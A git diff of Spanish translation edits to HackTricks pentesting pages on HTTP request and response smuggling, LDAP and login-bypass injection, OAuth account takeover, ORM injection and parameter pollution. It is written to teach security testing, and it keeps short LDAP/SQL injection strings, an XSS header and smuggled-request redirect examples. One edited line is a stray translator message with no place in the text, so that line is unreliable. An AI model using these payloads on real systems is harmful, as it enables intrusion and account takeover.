 - **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** por el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
-- **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del HTTP Smuggling.
+- **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del HTTP Request Smuggling.
 
 ## Ejemplos Básicos
 
 > [!TIP]
 > Al intentar explotar esto con Burp Suite **desactiva `Update Content-Length` y `Normalize HTTP/1 line endings`** en el repetidor porque algunos gadgets abusan de nuevas líneas, retornos de carro y content-lengths malformados.
 
-Los ataques de HTTP request smuggling se elaboran enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL** y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de que los servidores procesan la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos.
+Los ataques de HTTP request smuggling se elaboran enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL**, y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de que los servidores procesan la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos.
 
 ### Ejemplos Básicos de Tipos de Vulnerabilidad
 
@@ -271,10 +271,10 @@ Después de confirmar la efectividad de las técnicas de temporización, es cruc
 
 Al probar vulnerabilidades de request smuggling interfiriendo con otras solicitudes, ten en cuenta:
 
-- **Conexiones de Red Distintas:** Las solicitudes "atacantes" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
+- **Conexiones de Red Distintas:** Las solicitudes "de ataque" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
 - **URL y Parámetros Consistentes:** Intenta usar URLs y nombres de parámetros idénticos para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos según la URL y los parámetros. Coincidir estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
-- **Condiciones de Temporización y Carrera:** La solicitud "normal", destinada a detectar interferencias de la solicitud "atacante", compite contra otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "atacante". Las aplicaciones ocupadas pueden requerir múltiples intentos para una confirmación concluyente de vulnerabilidad.
-- **Desafíos de Balanceo de Carga:** Los servidores frontales que actúan como balanceadores de carga pueden distribuir solicitudes entre varios sistemas de back-end. Si las solicitudes "atacantes" y "normales" terminan en diferentes sistemas, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
+- **Condiciones de Temporización y Carrera:** La solicitud "normal", destinada a detectar interferencias de la solicitud "de ataque", compite contra otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "de ataque". Las aplicaciones ocupadas pueden requerir múltiples intentos para una confirmación concluyente de vulnerabilidad.
+- **Desafíos de Balanceo de Carga:** Los servidores frontales que actúan como balanceadores de carga pueden distribuir solicitudes entre varios sistemas de back-end. Si las solicitudes "de ataque" y "normales" terminan en diferentes sistemas, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
 - **Impacto No Intencionado en el Usuario:** Si tu ataque impacta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, lo que requiere un enfoque cauteloso.
 
 ## Abusando de HTTP Request Smuggling
@@ -320,9 +320,9 @@ a=x
 0
 
 ```
-Por el contrario, en el ataque TE.CL, la solicitud `POST` inicial utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.
+Por el contrario, en el ataque TE.CL, la solicitud inicial `POST` utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.
 
-### Revelando la reescritura de solicitudes en el front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Revelando la reescritura de solicitudes de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
 Las aplicaciones a menudo emplean un **servidor de front-end** para modificar las solicitudes entrantes antes de pasarlas al servidor de back-end. Una modificación típica implica agregar encabezados, como `X-Forwarded-For: <IP del cliente>`, para transmitir la IP del cliente al back-end. Comprender estas modificaciones puede ser crucial, ya que podría revelar formas de **eludir protecciones** o **descubrir información o puntos finales ocultos**.
 
@@ -422,13 +422,13 @@ Al manipular el `User-Agent` a través del smuggling, el payload elude las restr
 > [!CAUTION]
 > En caso de que el contenido del usuario se refleje en una respuesta con un **`Content-type`** como **`text/plain`**, impidiendo la ejecución del XSS. Si el servidor soporta **HTTP/0.9, podría ser posible eludir esto**!
 
-La versión HTTP/0.9 fue anterior a la 1.0 y solo utiliza verbos **GET** y **no** responde con **encabezados**, solo el cuerpo.
+La versión HTTP/0.9 fue anterior a la 1.0 y solo utiliza verbos **GET** y **no** responde con **encabezados**, solo con el cuerpo.
 
 En [**este writeup**](https://mizu.re/post/twisty-python), esto fue abusado con un smuggling de solicitudes y un **punto final vulnerable que responderá con la entrada del usuario** para smuggling una solicitud con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una **respuesta HTTP/1.1 falsa (con encabezados y cuerpo)**, por lo que la respuesta contendrá código JS ejecutable válido con un `Content-Type` de `text/html`.
 
 ### Explotando redirecciones en el sitio con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
-Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra diagonal al final resulta en una redirección para incluir la barra:
+Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra final resulta en una redirección para incluir la barra:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
@@ -464,7 +464,7 @@ Resultados en:
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-En este escenario, la solicitud de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer potencialmente al usuario sirviendo JavaScript malicioso en respuesta.
+En este escenario, la solicitud de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer potencialmente al usuario al servir JavaScript malicioso en respuesta.
 
 ### Explotando la contaminación de caché web a través del HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
@@ -502,8 +502,8 @@ Posteriormente, cualquier solicitud para `/static/include.js` servirá el conten
 
 > **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
 >
-> - En **el envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
-> - En **el engaño de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
+> - En el **envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
+> - En el **engaño de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
 
 El atacante elabora una solicitud contrabandeada que obtiene contenido sensible específico del usuario. Considera el siguiente ejemplo:
 ```markdown
@@ -526,7 +526,7 @@ TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Por favor, envíe una respuesta como:
+Por favor, envíame el contenido que deseas traducir.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@@ -537,11 +537,11 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Un ejemplo de cómo abusar de este comportamiento sería **introducir primero una solicitud HEAD**. Esta solicitud será respondida solo con los **encabezados** de una solicitud GET (**`Content-Type`** entre ellos). Y introducir **inmediatamente después de la HEAD una solicitud TRACE**, que estará **reflejando los datos enviados**.\
+Un ejemplo de cómo abusar de este comportamiento sería **introducir primero una solicitud HEAD**. Esta solicitud será respondida solo con los **encabezados** de una solicitud GET (**`Content-Type`** entre ellos). Y introducir **inmediatamente después de la HEAD una solicitud TRACE**, que reflejará los datos enviados.\
 Como la respuesta HEAD contendrá un encabezado `Content-Length`, la **respuesta de la solicitud TRACE será tratada como el cuerpo de la respuesta HEAD, reflejando así datos arbitrarios** en la respuesta.\
 Esta respuesta se enviará a la siguiente solicitud a través de la conexión, por lo que esto podría ser **utilizado en un archivo JS en caché, por ejemplo, para inyectar código JS arbitrario**.
 
-### Abusando de TRACE a través de la División de Respuestas HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abusando de TRACE a través de la división de respuestas HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
 Continuar siguiendo [**esta publicación**](https://portswigger.net/research/trace-desync-attack) se sugiere como otra forma de abusar del método TRACE. Como se comentó, al introducir una solicitud HEAD y una solicitud TRACE es posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y se forma por la respuesta a la solicitud TRACE.
 
diff --git a/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md b/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
index 7961e293f..32806731a 100644
--- a/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
+++ b/src/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
@@ -2,6 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Consulta la publicación [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
+**Ver la publicación [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/http-response-smuggling-desync.md b/src/pentesting-web/http-response-smuggling-desync.md
index f3551b600..f38f93ea7 100644
--- a/src/pentesting-web/http-response-smuggling-desync.md
+++ b/src/pentesting-web/http-response-smuggling-desync.md
@@ -14,7 +14,7 @@ Esto se debe a que vamos a poder **desincronizar la cola de respuestas** para qu
 
 ### Desincronización del Pipeline HTTP
 
-HTTP/1.1 permite solicitar **diferentes recursos sin necesidad de esperar por los anteriores**. Por lo tanto, si hay un **proxy** en el **medio**, es tarea del proxy **mantener un emparejamiento sincronizado de solicitudes enviadas al backend y respuestas que provienen de él**.
+HTTP/1.1 permite solicitar **diferentes recursos sin necesidad de esperar por los anteriores**. Por lo tanto, si hay un **proxy** en el **medio**, es tarea de los proxies **mantener un emparejamiento sincronizado de solicitudes enviadas al backend y respuestas que provienen de él**.
 
 Sin embargo, hay un problema al desincronizar la cola de respuestas. Si un atacante envía un ataque de HTTP Response Smuggling y las respuestas a la **solicitud inicial y la smuggled son respondidas inmediatamente**, la respuesta smuggled no se insertará dentro de la cola de respuestas de la víctima, sino que **simplemente será descartada como un error**.
 
@@ -58,7 +58,7 @@ Luego, una vez que la **solicitud inicial** (azul) fue **procesada** y **mientra
 
 ![](<../images/image (794).png>)
 
-Luego, la **víctima** recibirá la **respuesta** a la **solicitud lenta** y si mientras tanto el **atacante** **envió** **otra** **solicitud**, la **respuesta de la solicitud de contenido reflejado será enviada a él**.
+Luego, la **víctima** recibirá la **respuesta a la solicitud lenta** y si mientras tanto el **atacante** **envió** **otra** **solicitud**, la **respuesta de la solicitud de contenido reflejado será enviada a él**.
 
 ## Desincronización de Respuestas
 
@@ -117,7 +117,7 @@ Para lograr esto, el atacante necesita encontrar un endpoint de la aplicación w
 
 ![](<../images/image (911).png>)
 
-Después de que la primera solicitud se resuelva y se envíe de vuelta al atacante, la **solicitud de la víctima se agrega a la cola**:
+Después de que la primera solicitud sea resuelta y enviada de vuelta al atacante, la **solicitud de la víctima se agrega a la cola**:
 
 ![](<../images/image (737).png>)
 
@@ -127,6 +127,6 @@ La víctima recibirá como respuesta la **respuesta HEAD + el contenido de la re
 
 Sin embargo, nota cómo los **datos reflejados tenían un tamaño de acuerdo al Content-Length** de la **respuesta HEAD** que **generó una respuesta HTTP válida en la cola de respuestas**.
 
-Por lo tanto, la **siguiente solicitud de la segunda víctima** estará **recibiendo** como **respuesta algo completamente elaborado por el atacante**. Como la respuesta es completamente elaborada por el atacante, también puede **hacer que el proxy almacene en caché la respuesta**.
+Por lo tanto, la **siguiente solicitud del segundo víctima** estará **recibiendo** como **respuesta algo completamente elaborado por el atacante**. Como la respuesta es completamente elaborada por el atacante, él también puede **hacer que el proxy almacene en caché la respuesta**.
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md
index 6ee8f4d06..174c86a47 100644
--- a/src/pentesting-web/ldap-injection.md
+++ b/src/pentesting-web/ldap-injection.md
@@ -4,6 +4,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
+
 ## LDAP Injection
 
 ### **LDAP**
@@ -56,7 +57,7 @@ Luego: `(&(objectClass=`**`*)(ObjectClass=*))`** será el primer filtro (el que
 
 ### Login Bypass
 
-LDAP soporta varios formatos para almacenar la contraseña: claro, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que independientemente de lo que insertes dentro de la contraseña, se hash.
+LDAP soporta varios formatos para almacenar la contraseña: claro, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que independientemente de lo que insertes dentro de la contraseña, esté hashada.
 ```bash
 user=*
 password=*
diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md
index 4ae235ec6..09c62a07c 100644
--- a/src/pentesting-web/login-bypass/README.md
+++ b/src/pentesting-web/login-bypass/README.md
@@ -13,7 +13,7 @@ Si encuentras una página de inicio de sesión, aquí puedes encontrar algunas t
 - **Cambia el tipo de contenido a json** y envía valores json (incluido bool true)
 - Si recibes una respuesta diciendo que POST no es compatible, puedes intentar enviar el **JSON en el cuerpo pero con una solicitud GET** con `Content-Type: application/json`
 - Verifica el posible error de análisis de nodejs (lee [**esto**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
-- Nodejs transformará esa carga útil a una consulta similar a la siguiente: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` lo que hace que el bit de la contraseña sea siempre verdadero.
+- Nodejs transformará esa carga útil a una consulta similar a la siguiente: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` lo que hace que la parte de la contraseña sea siempre verdadera.
 - Si puedes enviar un objeto JSON, puedes enviar `"password":{"password": 1}` para eludir el inicio de sesión.
 - Recuerda que para eludir este inicio de sesión aún necesitas **conocer y enviar un nombre de usuario válido**.
 - **Agregar la opción `"stringifyObjects":true`** al llamar a `mysql.createConnection` eventualmente **bloqueará todos los comportamientos inesperados cuando se pase `Object`** en el parámetro.
@@ -59,7 +59,7 @@ admin' or '1'='2
 ```
 ### Bypass de autenticación por inyección LDAP
 
-[Aquí puedes encontrar varios trucos para eludir el inicio de sesión a través de **LDAP Injection.**](../ldap-injection.md#login-bypass)
+[Aquí puedes encontrar varios trucos para eludir el inicio de sesión a través de **inyección LDAP.**](../ldap-injection.md#login-bypass)
 ```
 *
 *)(&
@@ -75,7 +75,7 @@ admin))(|(|
 ```
 ### Recuerdame
 
-Si la página tiene funcionalidad de "**Recuerdame**", verifica cómo está implementada y ve si puedes abusar de ella para **tomar el control de otras cuentas**.
+Si la página tiene la funcionalidad de "**Recuerdame**", verifica cómo está implementada y ve si puedes abusar de ella para **tomar el control de otras cuentas**.
 
 ### Redirecciones
 
@@ -84,7 +84,7 @@ Las páginas generalmente redirigen a los usuarios después de iniciar sesión,
 ## Otras Comprobaciones
 
 - Verifica si puedes **enumerar nombres de usuario** abusando de la funcionalidad de inicio de sesión.
-- Verifica si **autocompletar** está activo en los formularios de contraseña/**información** **sensible** **input:** `<input autocomplete="false">`
+- Verifica si **autocompletar** está activo en el campo de contraseña/**información** **sensible** **formularios** **entrada:** `<input autocomplete="false">`
 
 ## Herramientas Automáticas
 
diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md
index c512de260..d0f7d7b20 100644
--- a/src/pentesting-web/oauth-to-account-takeover.md
+++ b/src/pentesting-web/oauth-to-account-takeover.md
@@ -12,15 +12,15 @@ Considera un sitio web hipotético _**https://example.com**_, diseñado para **m
 Es esencial comprender los siguientes componentes dentro del marco de OAuth 2.0:
 
 - **resource owner**: Tú, como el **usuario/entidad**, autorizas el acceso a tu recurso, como las publicaciones de tu cuenta de redes sociales.
-- **resource server**: El **servidor que gestiona las solicitudes autenticadas** después de que la aplicación ha asegurado un `access token` en nombre del `resource owner`, p. ej., **https://socialmedia.com**.
+- **resource server**: El **servidor que gestiona las solicitudes autenticadas** después de que la aplicación ha asegurado un `access token` en nombre del `resource owner`, por ejemplo, **https://socialmedia.com**.
 - **client application**: La **aplicación que busca autorización** del `resource owner`, como **https://example.com**.
-- **authorization server**: El **servidor que emite `access tokens`** a la `client application` tras la autenticación exitosa del `resource owner` y la obtención de autorización, p. ej., **https://socialmedia.com**.
+- **authorization server**: El **servidor que emite `access tokens`** a la `client application` tras la autenticación exitosa del `resource owner` y la obtención de autorización, por ejemplo, **https://socialmedia.com**.
 - **client_id**: Un identificador público y único para la aplicación.
 - **client_secret:** Una clave confidencial, conocida únicamente por la aplicación y el servidor de autorización, utilizada para generar `access_tokens`.
 - **response_type**: Un valor que especifica **el tipo de token solicitado**, como `code`.
 - **scope**: El **nivel de acceso** que la `client application` está solicitando del `resource owner`.
 - **redirect_uri**: La **URL a la que el usuario es redirigido después de la autorización**. Esto generalmente debe alinearse con la URL de redirección pre-registrada.
-- **state**: Un parámetro para **mantener datos a través de la redirección del usuario hacia y desde el servidor de autorización**. Su singularidad es crítica para servir como un **mecanismo de protección CSRF**.
+- **state**: Un parámetro para **mantener datos a través de la redirección del usuario hacia y desde el servidor de autorización**. Su unicidad es crítica para servir como un **mecanismo de protección CSRF**.
 - **grant_type**: Un parámetro que indica **el tipo de concesión y el tipo de token que se devolverá**.
 - **code**: El código de autorización del `authorization server`, utilizado junto con `client_id` y `client_secret` por la `client application` para adquirir un `access_token`.
 - **access_token**: El **token que la `client application` utiliza para solicitudes API** en nombre del `resource owner`.
@@ -31,7 +31,7 @@ Es esencial comprender los siguientes componentes dentro del marco de OAuth 2.0:
 El **flujo real de OAuth** procede de la siguiente manera:
 
 1. Navegas a [https://example.com](https://example.com) y seleccionas el botón “Integrar con Redes Sociales”.
-2. El sitio luego envía una solicitud a [https://socialmedia.com](https://socialmedia.com) pidiendo tu autorización para permitir que la aplicación de https://example.com acceda a tus publicaciones. La solicitud está estructurada como:
+2. El sitio luego envía una solicitud a [https://socialmedia.com](https://socialmedia.com) pidiendo tu autorización para permitir que la aplicación de https://example.com acceda a tus publicaciones. La solicitud se estructura como:
 ```
 https://socialmedia.com/auth
 ?response_type=code
@@ -77,7 +77,7 @@ En las implementaciones de OAuth, el uso indebido u omisión del **`state` param
 
 Los atacantes pueden explotar esto interceptando el proceso de autorización para vincular su cuenta con la cuenta de una víctima, lo que lleva a posibles **tomas de control de cuentas**. Esto es especialmente crítico en aplicaciones donde se utiliza OAuth para **fines de autenticación**.
 
-Se han documentado ejemplos del mundo real de esta vulnerabilidad en varios **CTF challenges** y **hacking platforms**, destacando sus implicaciones prácticas. El problema también se extiende a integraciones con servicios de terceros como **Slack**, **Stripe** y **PayPal**, donde los atacantes pueden redirigir notificaciones o pagos a sus cuentas.
+Se han documentado ejemplos del mundo real de esta vulnerabilidad en varios **CTF challenges** y **plataformas de hacking**, destacando sus implicaciones prácticas. El problema también se extiende a integraciones con servicios de terceros como **Slack**, **Stripe** y **PayPal**, donde los atacantes pueden redirigir notificaciones o pagos a sus cuentas.
 
 El manejo y la validación adecuados del **`state` parameter** son cruciales para protegerse contra CSRF y asegurar el flujo de OAuth.
 
@@ -90,7 +90,7 @@ El manejo y la validación adecuados del **`state` parameter** son cruciales par
 
 Identificar y proteger los parámetros secretos de OAuth es crucial. Mientras que el **`client_id`** puede ser divulgado de manera segura, revelar el **`client_secret`** presenta riesgos significativos. Si el `client_secret` se ve comprometido, los atacantes pueden explotar la identidad y confianza de la aplicación para **robar `access_tokens` de usuario** e información privada.
 
-Una vulnerabilidad común surge cuando las aplicaciones manejan erróneamente el intercambio del `code` de autorización por un `access_token` en el lado del cliente en lugar de en el lado del servidor. Este error lleva a la exposición del `client_secret`, permitiendo a los atacantes generar `access_tokens` bajo la apariencia de la aplicación. Además, a través de ingeniería social, los atacantes podrían escalar privilegios al agregar alcances adicionales a la autorización de OAuth, explotando aún más el estatus de confianza de la aplicación.
+Una vulnerabilidad común surge cuando las aplicaciones manejan erróneamente el intercambio del `code` de autorización por un `access_token` del lado del cliente en lugar del lado del servidor. Este error lleva a la exposición del `client_secret`, permitiendo a los atacantes generar `access_tokens` bajo la apariencia de la aplicación. Además, a través de ingeniería social, los atacantes podrían escalar privilegios añadiendo scopes adicionales a la autorización de OAuth, explotando aún más el estatus de confianza de la aplicación.
 
 ### Fuerza Bruta del Secreto del Cliente
 
@@ -159,7 +159,7 @@ Esto se debe a que un **atacante** podría crear una **aplicación que soporte O
 
 ### Dos enlaces y cookie <a href="#bda5" id="bda5"></a>
 
-Según [**este informe**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), era posible hacer que una víctima abriera una página con un **returnUrl** apuntando al host del atacante. Esta información sería **almacenada en una cookie (RU)** y en un **paso posterior** el **prompt** **preguntará** al **usuario** si desea dar acceso a ese host del atacante.
+Según [**este informe**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), era posible hacer que una víctima abriera una página con un **returnUrl** apuntando al host del atacante. Esta información se **almacenaría en una cookie (RU)** y en un **paso posterior** el **prompt** **preguntará** al **usuario** si desea dar acceso a ese host del atacante.
 
 Para eludir este prompt, era posible abrir una pestaña para iniciar el **flujo de Oauth** que establecería esta cookie RU usando el **returnUrl**, cerrar la pestaña antes de que se muestre el prompt y abrir una nueva pestaña sin ese valor. Entonces, el **prompt no informará sobre el host del atacante**, pero la cookie se establecería en él, por lo que el **token se enviará al host del atacante** en la redirección.
 
@@ -197,7 +197,7 @@ El Registro Dinámico de Clientes en OAuth sirve como un vector menos obvio pero
 
 **Puntos Clave:**
 
-- **El Registro Dinámico de Clientes** a menudo se mapea a `/register` y acepta detalles como `client_name`, `client_secret`, `redirect_uris`, y URLs para logotipos o Conjuntos de Claves Web JSON (JWKs) a través de solicitudes POST.
+- El **Registro Dinámico de Clientes** a menudo se mapea a `/register` y acepta detalles como `client_name`, `client_secret`, `redirect_uris`, y URLs para logotipos o Conjuntos de Claves Web JSON (JWKs) a través de solicitudes POST.
 - Esta característica se adhiere a las especificaciones establecidas en **RFC7591** y **OpenID Connect Registration 1.0**, que incluyen parámetros potencialmente vulnerables a SSRF.
 - El proceso de registro puede exponer inadvertidamente a los servidores a SSRF de varias maneras:
 - **`logo_uri`**: Una URL para el logotipo de la aplicación cliente que podría ser recuperada por el servidor, activando SSRF o llevando a XSS si la URL se maneja incorrectamente.
@@ -208,7 +208,7 @@ El Registro Dinámico de Clientes en OAuth sirve como un vector menos obvio pero
 **Estrategia de Explotación:**
 
 - SSRF puede ser activado registrando un nuevo cliente con URLs maliciosas en parámetros como `logo_uri`, `jwks_uri`, o `sector_identifier_uri`.
-- Si bien la explotación directa a través de `request_uris` puede ser mitigada por controles de lista blanca, proporcionar un `request_uri` pre-registrado y controlado por el atacante puede facilitar SSRF durante la fase de autorización.
+- Si bien la explotación directa a través de `request_uris` puede ser mitigada por controles de lista blanca, proporcionar un `request_uri` controlado por un atacante previamente registrado puede facilitar SSRF durante la fase de autorización.
 
 ## Condiciones de Carrera de Proveedores OAuth
 
diff --git a/src/pentesting-web/orm-injection.md b/src/pentesting-web/orm-injection.md
index ca2ba6879..295d2871a 100644
--- a/src/pentesting-web/orm-injection.md
+++ b/src/pentesting-web/orm-injection.md
@@ -8,7 +8,7 @@ En [**esta publicación**](https://www.elttam.com/blog/plormbing-your-django-orm
 
 <pre class="language-python"><code class="lang-python">class ArticleView(APIView):
 """
-Una vista de API básica a la que los usuarios envían solicitudes para
+Una vista API básica a la que los usuarios envían solicitudes para
 buscar artículos
 """
 def post(self, request: Request, format=None):
@@ -189,7 +189,7 @@ startsWith: "pas",
 > [!CAUTION]
 > Usar operaciones como `startsWith` puede provocar una filtración de información.&#x20;
 
-- **Elusión de filtrado relacional de muchos a muchos:**&#x20;
+- **Elusión de filtrado relacional muchos-a-muchos:**&#x20;
 ```javascript
 app.post("/articles", async (req, res) => {
 try {
@@ -290,7 +290,7 @@ GET /posts?q[user_reset_password_token_start]=0
 GET /posts?q[user_reset_password_token_start]=1
 ...
 ```
-Al forzar y potencialmente relacionar, fue posible filtrar más datos de una base de datos.
+Al realizar ataques de fuerza bruta y potencialmente relaciones, fue posible filtrar más datos de una base de datos.
 
 ## Referencias
 
diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md
index 6a72e8aac..a6d004b3e 100644
--- a/src/pentesting-web/parameter-pollution.md
+++ b/src/pentesting-web/parameter-pollution.md
@@ -4,6 +4,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
+
 ## Resumen de Contaminación de Parámetros HTTP (HPP)
 
 La Contaminación de Parámetros HTTP (HPP) es una técnica donde los atacantes manipulan parámetros HTTP para cambiar el comportamiento de una aplicación web de maneras no intencionadas. Esta manipulación se realiza añadiendo, modificando o duplicando parámetros HTTP. El efecto de estas manipulaciones no es directamente visible para el usuario, pero puede alterar significativamente la funcionalidad de la aplicación en el lado del servidor, con impactos observables en el lado del cliente.
@@ -49,7 +50,7 @@ Este ejemplo subraya aún más la necesidad de un manejo seguro de parámetros,
 La forma en que las tecnologías web manejan parámetros HTTP duplicados varía, afectando su susceptibilidad a ataques HPP:
 
 - **Flask:** Adopta el primer valor de parámetro encontrado, como `a=1` en una cadena de consulta `a=1&a=2`, priorizando la instancia inicial sobre los duplicados posteriores.
-- **PHP (en Apache HTTP Server):** Por el contrario, prioriza el último valor de parámetro, optando por `a=2` en el ejemplo dado. Este comportamiento puede facilitar inadvertidamente los exploits de HPP al honrar el parámetro manipulado por el atacante sobre el original.
+- **PHP (en Apache HTTP Server):** Por el contrario, prioriza el último valor de parámetro, optando por `a=2` en el ejemplo dado. Este comportamiento puede facilitar inadvertidamente los exploits de HPP al honrar el parámetro manipulado del atacante sobre el original.
 
 ## Contaminación de parámetros por tecnología
 
@@ -60,7 +61,7 @@ Los resultados fueron tomados de [https://medium.com/@0xAwali/http-parameter-pol
 <figure><img src="../images/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
 
 1. Ignorar cualquier cosa después de %00 en el nombre del parámetro.
-2. Manejar name\[] como un array.
+2. Manejar name\[] como array.
 3. \_GET no significa método GET.
 4. Preferir el último parámetro.
 
@@ -69,8 +70,8 @@ Los resultados fueron tomados de [https://medium.com/@0xAwali/http-parameter-pol
 <figure><img src="../images/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
 
 1. Utiliza los delimitadores & y ; para dividir parámetros.
-2. No se reconoce name\[].
-3. Preferir el primer parámetro.
+2. No reconoce name\[].
+3. Prefiere el primer parámetro.
 
 ### Spring MVC 6.0.23 Y Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
 
